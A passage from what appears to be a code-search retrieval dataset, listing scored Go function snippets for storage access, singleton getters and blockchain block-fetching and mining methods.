urlValues.Get(\"key_parameter\"))\n\tif err != nil {\n\t\tlogging.Logger().Debug(err.Error())\n\t\treturn nil, err\n\t}\n\n\tif err := db.Select(queryFields).First(result, fmt.Sprintf(\"%s = ?\", modelKey.KeyParameter), parameters.ByName(\"key_parameter\")).Error; err != nil {\n\t\tlogging.Logger().Debug(err.Error())\n\t\treturn nil, err\n\t}\n\n\treturn result, nil\n}", "title": "" }, { "docid": "b8b64e1321777d7ba497af632f614d88", "score": "0.4853505", "text": "func (m *AttackSimulationSimulationUserCoverage) GetAttackSimulationUser()(AttackSimulationUserable) {\n val, err := m.GetBackingStore().Get(\"attackSimulationUser\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(AttackSimulationUserable)\n }\n return nil\n}", "title": "" }, { "docid": "a4b9c9821ec75cf99a383b4f64fb7959", "score": "0.48460522", "text": "func (c *Cache) GetStorage(ctx context.Context, numeridID interface{}) (*Storage, error) {\n\tnumericID, err := toIntID(numeridID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trow := c.db.QueryRowContext(ctx, \"SELECT id, numeric_id FROM oc_storages WHERE numeric_id = ?\", numericID)\n\ts := &Storage{}\n\tswitch err := row.Scan(&s.ID, &s.NumericID); err {\n\tcase nil:\n\t\treturn s, nil\n\tdefault:\n\t\treturn nil, err\n\t}\n}", "title": "" }, { "docid": "c3660f80c6f7b953e1a702d0a7ca01c4", "score": "0.48390955", "text": "func GetInstance() *CacheConfigTest {\n\tonce.Do(func() {\n\t\tcct = &CacheConfigTest{}\n\t\tLoadEnvConfig(cct)\n\t})\n\treturn cct\n}", "title": "" }, { "docid": "c3660f80c6f7b953e1a702d0a7ca01c4", "score": "0.48390955", "text": "func GetInstance() *CacheConfigTest {\n\tonce.Do(func() {\n\t\tcct = &CacheConfigTest{}\n\t\tLoadEnvConfig(cct)\n\t})\n\treturn cct\n}", "title": "" }, { "docid": "b57852fa6802bc90c6cc52e56cd709ed", "score": "0.4837662", "text": "func NewStorage(runner command.Runner) *Storage {\n\treturn &Storage{\n\t\trunner: runner,\n\t}\n}", "title": "" }, { "docid": "bca6ba858201313d1c71972b80cff5b7", "score": "0.48366907", "text": "func (factory *Factory) New(storagePrefix byte, objectFactory StorableObjectFromKey, optionalOptions ...Option) *ObjectStorage {\n\treturn New(factory.badgerInstance, []byte{factory.packagePrefix, storagePrefix}, objectFactory, optionalOptions...)\n}", "title": "" }, { "docid": "64862512c7a64b55c58a3e6cff17c136", "score": "0.48337707", "text": "func GetStorageNode() *SingleFileSystem {\n\treturn s\n}", "title": "" }, { "docid": "8402713ea205ac7551d82367d0298c7a", "score": "0.48323697", "text": "func (vm *VM) GetInstance() (*InstanceData, error) {\n\ts, err := vm.getService()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinstance, err := s.getInstance()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tips, err := vm.GetIPs()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvmResponse := &InstanceData{\n\t\tName: instance.Name,\n\t\tId: instance.Id,\n\t\tCreationTimestamp: instance.CreationTimestamp,\n\t\tStatus: instance.Status,\n\t\tPrivateIpv4: ips[PrivateIP].String(),\n\t\tPublicIpv4: ips[PublicIP].String(),\n\t}\n\tfor _, attachedDisk := range instance.Disks {\n\t\tvmResponse.Volumes = append(vmResponse.Volumes, StorageDevice{\n\t\t\tName: attachedDisk.DeviceName,\n\t\t\tBoot: &attachedDisk.Boot,\n\t\t\tAutoDelete: &attachedDisk.AutoDelete,\n\t\t\tInterface: attachedDisk.Interface,\n\t\t\tDevicePath: DevicePathPrefix +\n\t\t\t\tattachedDisk.DeviceName,\n\t\t})\n\t}\n\n\treturn vmResponse, nil\n}", "title": "" }, { "docid": "29cecfd05d92a8b643891db10137ce3e", "score": "0.4830382", "text": "func New(db interface{}) (*Storage, error) {\n\tif dbConn, ok := db.(*sql.DB); ok {\n\t\treturn NewFromDB(dbConn)\n\t}\n\treturn NewFromURL(db.(string))\n}", "title": "" }, { "docid": "2e5cf3b98ed860ca632d78f7f9d3cdcf", "score": "0.48289827", "text": "func Load() *Store {\n\treturn &instance\n}", "title": "" }, { "docid": "8a37200e94a84c249d19ea2cc7fd72cc", "score": "0.48198524", "text": "func NewStorage() *Storage {\n\treturn &Storage{\n\t\tnames: map[string]map[string]struct{}{},\n\t\ttokens: map[string]string{},\n\t\tstreams: map[string]chan chat.StreamResponse{},\n\t}\n}", "title": "" }, { "docid": "0ce2efd868c09d30ce1d8b48d34cfacf", "score": "0.48191726", "text": "func (engine *Engine) GetBackend() Backend {\n // Use Default Backend\n if engine.backend == nil {\n engine.backend = newGosBackend(engine.Config)\n }\n return engine.backend\n}", "title": "" }, { "docid": "fe12105b4c8ff41e847a4de7692aca5b", "score": "0.48187274", "text": "func GetStorage(c common.Client, uri string) (*Storage, error) {\n\tvar storage Storage\n\treturn &storage, storage.Get(c, uri, &storage)\n}", "title": "" }, { "docid": "400222a6afbef5b5dce4dedfd03907a6", "score": "0.48110628", "text": "func (d *GceDatastore) storage() (context.Context, *datastore.Client, error) {\n\tkey := []byte(env.Raw(\"SEMVER_BACKEND_TOKEN\"))\n\tconf, err := google.JWTConfigFromJSON(key, datastore.ScopeDatastore)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tctx := appengine.BackgroundContext()\n\tclient, err := datastore.NewClient(ctx, appengine.AppID(ctx), cloud.WithTokenSource(conf.TokenSource(ctx)))\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\treturn ctx, client, nil\n}", "title": "" }, { "docid": "1514a2970b7d9684bed119a52b59b842", "score": "0.4803298", "text": "func New(conf *storage.Config) (storage.Storage, error) {\n\treturn new(conf)\n}", "title": "" }, { "docid": "2b4f8929b0a0324b78711bcba623c0e8", "score": "0.48005563", "text": "func (s *SourcesStore) GetInstance(sourceID string) sources.Source {\n\ts.Lock()\n\tdefer s.Unlock()\n\treturn s.sources[sourceID].GetInstance()\n}", "title": "" } ]
17cae5354ddb105e4114bc4593f42dce
GetBlock is a paid mutator transaction binding the contract method 0x2e97766d. Solidity: function getBlock() returns()
[ { "docid": "05602c2a9e3700afeac551dfaaeca930", "score": "0.72817904", "text": "func (_EtclotteryInterface *EtclotteryInterfaceSession) GetBlock() (*types.Transaction, error) {\n\treturn _EtclotteryInterface.Contract.GetBlock(&_EtclotteryInterface.TransactOpts)\n}", "title": "" } ]
[ { "docid": "d05f02c8282faf1fcb976377a3f93080", "score": "0.7569228", "text": "func (_EtclotteryInterface *EtclotteryInterfaceTransactor) GetBlock(opts *bind.TransactOpts) (*types.Transaction, error) {\n\treturn _EtclotteryInterface.contract.Transact(opts, \"getBlock\")\n}", "title": "" }, { "docid": "2b8ac4bfcb24604ed3cb9419b8ed5134", "score": "0.733315", "text": "func (_EtclotteryInterface *EtclotteryInterfaceTransactorSession) GetBlock() (*types.Transaction, error) {\n\treturn _EtclotteryInterface.Contract.GetBlock(&_EtclotteryInterface.TransactOpts)\n}", "title": "" }, { "docid": "d85f266208f64bdb30487badd919573f", "score": "0.7323968", "text": "func bitcoinGetBlock(hash string, reply *bitcoinBlock) error {\n\tglobalData.Lock()\n\tdefer globalData.Unlock()\n\n\tif !globalData.initialised {\n\t\treturn fault.ErrNotInitialised\n\t}\n\n\targuments := []interface{}{\n\t\thash,\n\t}\n\treturn bitcoinCall(\"getblock\", arguments, reply)\n}", "title": "" }, { "docid": "7fdfbe4b3a8b6fa9d58415928edd2624", "score": "0.72786564", "text": "func (s *Service) GetBlock(_ *http.Request, args *GetBlockArgs, reply *GetBlockReply) error {\n\t// If an ID is given, parse its string representation to an ids.ID\n\t// If no ID is given, ID becomes the ID of last accepted block\n\tvar id ids.ID\n\tvar err error\n\tif args.ID == \"\" {\n\t\tid, err = s.vm.LastAccepted()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"problem finding the last accepted ID: %s\", err)\n\t\t}\n\t} else {\n\t\tid, err = ids.FromString(args.ID)\n\t\tif err != nil {\n\t\t\treturn errors.New(\"problem parsing ID\")\n\t\t}\n\t}\n\n\t// Get the block from the database\n\tblockInterface, err := s.vm.GetBlock(id)\n\tif err != nil {\n\t\treturn errNoSuchBlock\n\t}\n\n\tblock, ok := blockInterface.(*Block)\n\tif !ok { // Should never happen but better to check than to panic\n\t\treturn errBadData\n\t}\n\n\t//log.Info(fmt.Sprintf(\"Service::GetBlock - EncEventData Length:%d\", len(block.EncEventData)))\n\n\t// Fill out the response with the block's data\n\treply.APIBlock.EventID = block.ID().String()\n\treply.APIBlock.Timestamp = json.Uint64(block.Timestamp().Unix())\n\treply.APIBlock.ParentID = block.Parent().String()\n\treply.APIBlock.EncodedData = hex.EncodeToString(block.EncodedData)\n\treply.APIBlock.SequenceID = block.SequenceID.String()\n\treply.APIBlock.CodecAddress = block.CodecAddress.Hex()\n\treply.APIBlock.RefID = string(block.RefID)\n\treply.APIBlock.RefTime = json.Uint64(block.RefTime)\n\treply.APIBlock.CreatorAddress = block.CreatorAddress.Hex()\n\n\treturn err\n}", "title": "" }, { "docid": "573cc7512328457fb9670a6e1b1b622d", "score": "0.7127067", "text": "func (s *server) GetBlock(ctx context.Context, in *pb.BlockID) (*pb.Block, error) {\n\ts.mg.Speed.Add(\"GetBlock\")\n\tif in.Header == nil {\n\t\tin.Header = global.GHeader()\n\t}\n\ts.log.Trace(\"Start to dealwith GetBlock\", \"logid\", in.Header.Logid, \"in\", in)\n\tbc := s.mg.Get(in.Bcname)\n\tif bc == nil {\n\t\tout := pb.Block{Header: &pb.Header{}}\n\t\tout.Header.Error = pb.AChainErrorEnum_CONNECT_REFUSE // 拒绝\n\t\treturn &out, nil\n\t}\n\tout := bc.GetBlock(in)\n\n\tblock := out.GetBlock()\n\ttransactions := block.GetTransactions()\n\ttransactionsFilter := []*pb.Transaction{}\n\tfor _, transaction := range transactions {\n\t\ttxid := transaction.GetTxid()\n\t\tif bc.QueryTxFromForbidden(txid) {\n\t\t\tcontinue\n\t\t}\n\t\ttransactionsFilter = append(transactionsFilter, transaction)\n\t}\n\tif transactions != nil {\n\t\tout.Block.Transactions = transactionsFilter\n\t}\n\ts.log.Trace(\"Start to dealwith GetBlock result\", \"logid\", in.Header.Logid,\n\t\t\"blockid\", out.Blockid, \"height\", out.GetBlock().GetHeight())\n\treturn out, nil\n}", "title": "" }, { "docid": "7edea96b80ce15c84599920adde4118f", "score": "0.7092335", "text": "func (v *volumeAddon) getBlock() *Block {\n\n\t// Get whether volume is muted\n\tvar cmdMutedOut []byte\n\n\tcmd := volumeMuteCmd\n\tcmdMutedOut, _ = exec.Command(\"bash\", \"-c\", cmd).Output()\n\tmuted := strings.TrimSpace(string(cmdMutedOut)) == \"yes\"\n\n\t// Get volume percentage\n\tvar cmdVolumeOut []byte\n\n\tcmd = volumeCmd\n\tcmdVolumeOut, _ = exec.Command(\"bash\", \"-c\", cmd).Output()\n\tvolume := fmt.Sprintf(\"%s%%\", strings.TrimSpace(string(cmdVolumeOut)))\n\n\t// Get appropriate icon/color based on whether volume is muted\n\tvar icon, color string\n\n\tif muted {\n\t\ticon = IconVolumeMuted\n\t\tcolor = ColorRed\n\t} else {\n\t\ticon = IconVolume\n\t\tcolor = ColorWhite\n\t}\n\n\treturn &Block{\n\t\tFullText: fmt.Sprintf(volumeDefaultFormat, icon, volume),\n\t\tColor: color,\n\t\tIndex: v.index,\n\t}\n}", "title": "" }, { "docid": "704a6f8d66d079b632d20f45aab4869e", "score": "0.7088216", "text": "func (l *Listener) getBlock(blockNumber uint64) (*ethereumTypes.Block, error) {\n\tvar blockNumberInt *big.Int\n\tif blockNumber > 0 {\n\t\tblockNumberInt = big.NewInt(int64(blockNumber))\n\t}\n\n\td := time.Now().Add(10 * time.Second)\n\tctx, cancel := context.WithDeadline(context.Background(), d)\n\tdefer cancel()\n\n\tblock, err := l.Client.BlockByNumber(ctx, blockNumberInt)\n\tif err != nil {\n\t\tif err.Error() == \"not found\" {\n\t\t\treturn nil, nil\n\t\t}\n\t\terr = errors.Wrap(err, \"Error getting block from geth\")\n\t\tlogger.Errorf(\"Got err: %s, block: %d\", err.Error(), blockNumberInt.String())\n\t\treturn nil, err\n\t}\n\n\treturn block, nil\n}", "title": "" }, { "docid": "8d5c256cfc97d4cc6c61c67adfc8e4da", "score": "0.70684123", "text": "func (b *pendingBlock) Block() *flowgo.Block {\n\tcollections := b.Collections()\n\n\tguarantees := make([]*flowgo.CollectionGuarantee, len(collections))\n\tfor i, collection := range collections {\n\t\tguarantees[i] = &flowgo.CollectionGuarantee{\n\t\t\tCollectionID: collection.ID(),\n\t\t}\n\t}\n\n\treturn &flowgo.Block{\n\t\tHeader: &flowgo.Header{\n\t\t\tHeight: b.height,\n\t\t\tView: b.view,\n\t\t\tParentID: b.parentID,\n\t\t\tTimestamp: b.timestamp,\n\t\t},\n\t\tPayload: &flowgo.Payload{\n\t\t\tGuarantees: guarantees,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "3bdcfdf6e5eba8f8f02071ae4517f3c5", "score": "0.7049112", "text": "func BlockChainGetBlock(service *NeoVmService, engine *vm.ExecutionEngine) error {\n\tif vm.EvaluationStackCount(engine) < 1 {\n\t\treturn errors.NewErr(\"[BlockChainGetBlock] Too few input parameters \")\n\t}\n\tdata, err := vm.PopByteArray(engine)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar block *types.Block\n\tl := len(data)\n\tif l <= 5 {\n\t\tb := vmtypes.BigIntFromBytes(data)\n\t\theight := uint32(b.Int64())\n\t\tvar err error\n\t\tblock, err = service.Store.GetBlockByHeight(height)\n\t\tif err != nil {\n\t\t\treturn errors.NewDetailErr(err, errors.ErrNoCode, \"[BlockChainGetBlock] GetBlock error!.\")\n\t\t}\n\t} else if l == 32 {\n\t\thash, err := common.Uint256ParseFromBytes(data)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tblock, err = service.Store.GetBlockByHash(hash)\n\t\tif err != nil {\n\t\t\treturn errors.NewDetailErr(err, errors.ErrNoCode, \"[BlockChainGetBlock] GetBlock error!.\")\n\t\t}\n\t} else {\n\t\treturn errors.NewErr(\"[BlockChainGetBlock] data invalid.\")\n\t}\n\tvm.PushData(engine, block)\n\treturn nil\n}", "title": "" }, { "docid": "e09455bdbee33f9f262dc00bf8bf0c71", "score": "0.691101", "text": "func (s *sochain) GetBlock(hash string, code string) (*domain.Block, error) {\n\tlog.SetPrefix(\"GetBlock :\")\n\n\tbody, e := makeGETCall(s.BlockAPI, hash, code)\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\tvar blockResp domain.BlockResp\n\te = json.Unmarshal(body, &blockResp)\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\tvar wg sync.WaitGroup\n\ttranChannel := make(chan domain.Transaction)\n\t// if the length of transactions is less than 10, then use that\n\tmax := 10\n\tif len(blockResp.DataFrame.Transactions) < 10 {\n\t\tmax = len(blockResp.DataFrame.Transactions)\n\t}\n\tfor i := 0; i < max; i++ {\n\t\t// concurrently get the trasaction details\n\t\ttranId := blockResp.DataFrame.Transactions[i]\n\t\tlog.Println(\"fetching tran details for \", tranId)\n\t\twg.Add(1)\n\t\tgo s.concurrentTranDetails(s.TranAPI, code, tranId, &wg, tranChannel)\n\t}\n\tvar transactions []domain.Transaction\n\tgo checkChan(&wg, tranChannel)\n\t// for every item returned by concurrent execution, append it to the final lsist\n\tfor tran := range tranChannel {\n\t\ttransactions = append(transactions, tran)\n\t}\n\treturn mappedBlockResp(&blockResp, transactions)\n}", "title": "" }, { "docid": "bf9e2dfa6f2a49f697a3fc48070289a7", "score": "0.68972385", "text": "func handleGetBlock(s *Server, cmd interface{}, closeChan <-chan struct{}) (interface{}, error) {\n\tc := cmd.(*model.GetBlockCmd)\n\n\t// Load the raw block bytes from the database.\n\thash, err := daghash.NewHashFromStr(c.Hash)\n\tif err != nil {\n\t\treturn nil, rpcDecodeHexError(c.Hash)\n\t}\n\n\t// Return an appropriate error if the block is known to be invalid\n\tif s.dag.IsKnownInvalid(hash) {\n\t\treturn nil, &model.RPCError{\n\t\t\tCode: model.ErrRPCBlockInvalid,\n\t\t\tMessage: \"Block is known to be invalid\",\n\t\t}\n\t}\n\n\t// Return an appropriate error if the block is an orphan\n\tif s.dag.IsKnownOrphan(hash) {\n\t\treturn nil, &model.RPCError{\n\t\t\tCode: model.ErrRPCOrphanBlock,\n\t\t\tMessage: \"Block is an orphan\",\n\t\t}\n\t}\n\n\tblock, err := s.dag.BlockByHash(hash)\n\tif err != nil {\n\t\treturn nil, &model.RPCError{\n\t\t\tCode: model.ErrRPCBlockNotFound,\n\t\t\tMessage: \"Block not found\",\n\t\t}\n\t}\n\tblockBytes, err := block.Bytes()\n\tif err != nil {\n\t\treturn nil, &model.RPCError{\n\t\t\tCode: model.ErrRPCBlockInvalid,\n\t\t\tMessage: \"Cannot serialize block\",\n\t\t}\n\t}\n\n\t// Handle partial blocks\n\tif c.Subnetwork != nil {\n\t\trequestSubnetworkID, err := subnetworkid.NewFromStr(*c.Subnetwork)\n\t\tif err != nil {\n\t\t\treturn nil, &model.RPCError{\n\t\t\t\tCode: model.ErrRPCInvalidRequest.Code,\n\t\t\t\tMessage: \"invalid subnetwork string\",\n\t\t\t}\n\t\t}\n\t\tnodeSubnetworkID := s.cfg.SubnetworkID\n\n\t\tif requestSubnetworkID != nil {\n\t\t\tif nodeSubnetworkID != nil {\n\t\t\t\tif !nodeSubnetworkID.IsEqual(requestSubnetworkID) {\n\t\t\t\t\treturn nil, &model.RPCError{\n\t\t\t\t\t\tCode: model.ErrRPCInvalidRequest.Code,\n\t\t\t\t\t\tMessage: \"subnetwork does not match this partial node\",\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// nothing to do - partial node stores partial blocks\n\t\t\t} else {\n\t\t\t\t// Deserialize the block.\n\t\t\t\tmsgBlock := block.MsgBlock()\n\t\t\t\tmsgBlock.ConvertToPartial(requestSubnetworkID)\n\t\t\t\tvar b bytes.Buffer\n\t\t\t\tmsgBlock.Serialize(bufio.NewWriter(&b))\n\t\t\t\tblockBytes = b.Bytes()\n\t\t\t}\n\t\t}\n\t}\n\n\t// When the verbose flag is set to false, simply return the serialized block\n\t// as a hex-encoded string (verbose flag is on by default).\n\tif c.Verbose != nil && !*c.Verbose {\n\t\treturn hex.EncodeToString(blockBytes), nil\n\t}\n\n\t// The verbose flag is set, so generate the JSON object and return it.\n\n\t// Deserialize the block.\n\tblock, err = util.NewBlockFromBytes(blockBytes)\n\tif err != nil {\n\t\tcontext := \"Failed to deserialize block\"\n\t\treturn nil, internalRPCError(err.Error(), context)\n\t}\n\n\ts.dag.RLock()\n\tdefer s.dag.RUnlock()\n\tblockReply, err := buildGetBlockVerboseResult(s, block, c.VerboseTx == nil || !*c.VerboseTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn blockReply, nil\n}", "title": "" }, { "docid": "2297b0f0d8df444e57c5df227fb0c90d", "score": "0.68752563", "text": "func (s *Service) GetBlock(_ *http.Request, args *GetBlockArgs, reply *GetBlockReply) error {\n\t// If an ID is given, parse its string representation to an ids.ID\n\t// If no ID is given, ID becomes the ID of last accepted block\n\tvar id ids.ID\n\tvar err error\n\tif args.ID == \"\" {\n\t\tid, err = s.vm.LastAccepted()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"problem finding the last accepted ID: %s\", err)\n\t\t}\n\t} else {\n\t\tid, err = ids.FromString(args.ID)\n\t\tif err != nil {\n\t\t\treturn errors.New(\"problem parsing ID\")\n\t\t}\n\t}\n\n\t// Get the block from the database\n\tblockInterface, err := s.vm.GetBlock(id)\n\tif err != nil {\n\t\treturn errNoSuchBlock\n\t}\n\n\tblock, ok := blockInterface.(*Block)\n\tif !ok { // Should never happen but better to check than to panic\n\t\treturn errBadData\n\t}\n\n\t// Fill out the response with the block's data\n\treply.APIBlock.ID = block.ID().String()\n\treply.APIBlock.Timestamp = json.Uint64(block.Timestamp().Unix())\n\treply.APIBlock.ParentID = block.Parent().String()\n\treply.Data, err = formatting.EncodeWithChecksum(formatting.CB58, block.Data[:])\n\n\treturn err\n}", "title": "" }, { "docid": "f10de525b5761569a100585abb509da0", "score": "0.68379587", "text": "func (chain *BlockChain) MineBlock(transactions []*Transaction) *block {\n\tvar prevHash []byte\n\tvar prevHeight int\n\n\tfor _, tx := range transactions {\n\t\tif chain.VerifyTransaction(tx) != true {\n\t\t\tlog.Panic(\"ERROR: Invalid transaction\")\n\t\t}\n\t}\n\n\terr := chain.db.View(func(tx *bolt.Tx) error { // only View not edit\n\t\tbucket := tx.Bucket([]byte(blocksBucket))\n\t\tif bucket == nil {\n\t\t\tlog.Panic(\"Bucket is Null\")\n\t\t}\n\t\tprevHash = bucket.Get([]byte(\"l\")) // get the prev block (aka. last block) hash\n\t\tprevBlockData := bucket.Get(prevHash)\n\t\tprevBlock := *Deserialize(prevBlockData)\n\t\tprevHeight = prevBlock.Height // get the current height\n\t\treturn nil\n\t})\n\tnewBlock := NewBlock(transactions, prevHash, prevHeight+1) // the new block extends the chain\n\terr = chain.db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket([]byte(blocksBucket))\n\t\te := bucket.Put(newBlock.Hash, newBlock.Serialize()) // store the new block : hash to block\n\t\tif e != nil {\n\t\t\tlog.Panic(e)\n\t\t}\n\t\te = bucket.Put([]byte(\"l\"), newBlock.Hash) // update the l entry to the new block hash\n\t\tif e != nil {\n\t\t\tlog.Panic(e)\n\t\t}\n\t\tchain.tip = newBlock.Hash // dont forget update the chain tip, that is add a block to the whole chain\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\treturn newBlock\n}", "title": "" }, { "docid": "ff1fbe2e1fe970d65837f2eb2b7759d5", "score": "0.6824143", "text": "func (chain *diskBlockChain) getBlock(key []byte) (*wire.MsgBlock, error) {\n\trawData, err := chain.chainDB.Get(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(rawData) == 0 {\n\t\treturn nil, nil\n\t}\n\tblock := &wire.MsgBlock{}\n\terr = rlp.DecodeBytes(rawData, block)\n\tif err != nil {\n\t\tchain.logger.Error(\"RLP decoding error:\", err)\n\t\treturn nil, err\n\t}\n\treturn block, nil\n}", "title": "" }, { "docid": "2ba11a275d6dfc9e052f4de816d442a3", "score": "0.6775251", "text": "func Block(ctx *rpctypes.Context, heightPtr *int64) (*ctypes.ResultBlock, error) {\n\theight, err := getHeight(env.BlockStore.Height(), heightPtr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tblock := env.BlockStore.LoadBlock(height)\n\tblockMeta := env.BlockStore.LoadBlockMeta(height)\n\tif blockMeta == nil {\n\t\treturn &ctypes.ResultBlock{BlockID: types.BlockID{}, Block: block}, nil\n\t}\n\treturn &ctypes.ResultBlock{BlockID: blockMeta.BlockID, Block: block}, nil\n}", "title": "" }, { "docid": "e0727027bf8255fddfb5aae8d577b141", "score": "0.6744911", "text": "func (blockService *blockAPIService) Block(ctx context.Context, blockRequest *types.BlockRequest) (*types.BlockResponse, *types.Error) {\n\tblockResponse, dbErr := blockService.blockRepository.GetBlock(*blockRequest.BlockIdentifier.Hash)\n\n\tif blockResponse == nil || dbErr != nil {\n\t\tblock, _, err := blockService.retriveBlock(ctx, blockRequest)\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tblockResponse = utils.MapBlock(block)\n\n\t\tblockService.blockRepository.StoreBlock(block.Hash, blockResponse)\n\n\t\treturn blockResponse, nil\n\t}\n\n\tlog.Printf(\"Queried block from DB (hash: %s)\\n\", *blockRequest.BlockIdentifier.Hash)\n\treturn blockResponse, nil\n}", "title": "" }, { "docid": "69766cd9e04b9ba7f05813d8fe28561c", "score": "0.67379916", "text": "func (g *Genesis) Block() *Block {\n\tif g.block == nil {\n\t\tg.block = NewBlock(nil, nil, nil, nil, nil, g.Timestamp)\n\t}\n\treturn g.block\n}", "title": "" }, { "docid": "9993c6ae78e33d642137a6b9fd1b7195", "score": "0.67345774", "text": "func (bc *Blockchain) MineBlock(txs []*Transaction) (*Block, error) {\n\tfor _, tx := range txs {\n\t\tok, err := bc.VerifyTransaction(tx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif !ok {\n\t\t\treturn nil, errors.New(\"invalid transaction\")\n\t\t}\n\t}\n\n\tvar lastHash []byte\n\tif err := bc.DB.View(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(blocksBucket))\n\t\tlastHash = b.Get([]byte(lastHashKey))\n\t\treturn nil\n\t}); err != nil {\n\t\treturn nil, err\n\t}\n\n\tnewBlock := NewBlock(txs, lastHash)\n\tif err := bc.DB.Update(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(blocksBucket))\n\n\t\tblockBytes, err := newBlock.Bytes()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := b.Put(newBlock.Hash, blockBytes); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err := b.Put([]byte(lastHashKey), newBlock.Hash); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tbc.tip = newBlock.Hash\n\t\treturn nil\n\t}); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn newBlock, nil\n}", "title": "" }, { "docid": "7df4f5a101bf8d5f678cbbf39ac3e3a4", "score": "0.6720844", "text": "func (c *rpcserver) GetBlock(ctx context.Context, in *pb.GetBlockRequest) (*pb.JsonBlockString, error) {\n\tlog := logging.MustGetLogger(fmt.Sprintf(\"%05d\", rand.Intn(100000)))\n\tlog.Infof(\"[RPCRequest][GBk]%v\", in)\n\thash := in.BlockHash\n\tif len(hash) != 64 || hash == zeroHash {\n\t\tlog.Infof(\"[RPCReturn][GBk]\")\n\t\treturn &pb.JsonBlockString{Json: \"\"}, nil\n\t}\n\n\tblockchain.lock1.RLock()\n\tdefer blockchain.lock1.RUnlock()\n\n\tvalue, success := blockchain.blocks[hash]\n\tif success {\n\t\tlog.Infof(\"[RPCReturn][GBk]%v\", pb.JsonBlockString{Json: value.json})\n\t\treturn &pb.JsonBlockString{Json: value.json}, nil\n\t} else {\n\t\tlog.Infof(\"[RPCReturn][GBk]%v\", pb.JsonBlockString{})\n\t\treturn &pb.JsonBlockString{Json: \"\"}, nil\n\t}\n}", "title": "" }, { "docid": "e6312fefe3c7e0822177801cbf2c565f", "score": "0.6718522", "text": "func (c *apiClient) Block(ctx context.Context, hashOrNumber string) (Block, error) {\n\trequestUrl, err := url.Parse(fmt.Sprintf(\"%s/%s/%s\", c.server, resourceBlock, hashOrNumber))\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\treq, err := http.NewRequestWithContext(ctx, http.MethodGet, requestUrl.String(), nil)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\n\treq.Header.Add(\"project_id\", c.projectId)\n\n\tres, err := c.client.Do(req)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\tdefer res.Body.Close()\n\n\tif res.StatusCode != http.StatusOK {\n\t\treturn Block{}, handleAPIErrorResponse(res)\n\t}\n\tblock := Block{}\n\terr = json.NewDecoder(res.Body).Decode(&block)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\treturn block, nil\n}", "title": "" }, { "docid": "fd6264e931a69ad02d1d1a45b6ccc43f", "score": "0.6704541", "text": "func (api *API) ChainGetBlock(ctx context.Context, id cid.Cid) (*types.Block, error) {\n\treturn api.chain.GetBlock(ctx, id)\n}", "title": "" }, { "docid": "2ea52f9919bff6dadd257c5e4b07d894", "score": "0.66930693", "text": "func (i *Indexer) Block(\n\tctx context.Context,\n\tnetwork *types.NetworkIdentifier,\n\tblockIdentifier *types.PartialBlockIdentifier,\n) (*types.Block, error) {\n\t// get raw block\n\tvar btcBlock *ravencoin.Block\n\tvar coins []string\n\tvar err error\n\n\tretries := 0\n\tfor ctx.Err() == nil {\n\t\tbtcBlock, coins, err = i.client.GetRawBlock(ctx, blockIdentifier)\n\t\tif err == nil {\n\t\t\tbreak\n\t\t}\n\n\t\tretries++\n\t\tif retries > retryLimit {\n\t\t\treturn nil, fmt.Errorf(\"%w: unable to get raw block %+v\", err, blockIdentifier)\n\t\t}\n\n\t\tif err := sdkUtils.ContextSleep(ctx, retryDelay); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// determine which coins must be fetched and get from coin storage\n\tcoinMap, err := i.findCoins(ctx, btcBlock, coins)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: unable to find input transactions\", err)\n\t}\n\n\t// provide to block parsing\n\tblock, err := i.client.ParseBlock(ctx, btcBlock, coinMap)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: unable to parse block %+v\", err, blockIdentifier)\n\t}\n\n\t// ensure block is valid\n\tif err := i.asserter.Block(block); err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: block is not valid %+v\", err, blockIdentifier)\n\t}\n\n\treturn block, nil\n}", "title": "" }, { "docid": "96f9dc02bdc8d039f9ac172107517e49", "score": "0.6660077", "text": "func (blk *SignedBlock) GetBlock() blocks.Block {\n\treturn blk.Blk\n}", "title": "" }, { "docid": "5dd6e1b823a1f1641fcda699c176c1fe", "score": "0.66403013", "text": "func (h *Http) GetBlock() IBlock {\n\treturn h.Block\n}", "title": "" }, { "docid": "0e363c96b099d67a33fa9fd1ad0c17be", "score": "0.66149974", "text": "func (b *Builder) Block(n int) *BasicBlock { return b.blocks[n] }", "title": "" }, { "docid": "e75474dead2542329597859cf0ba64d1", "score": "0.658372", "text": "func (app *current) Block(trx []string) error {\n\ttrxHashes := 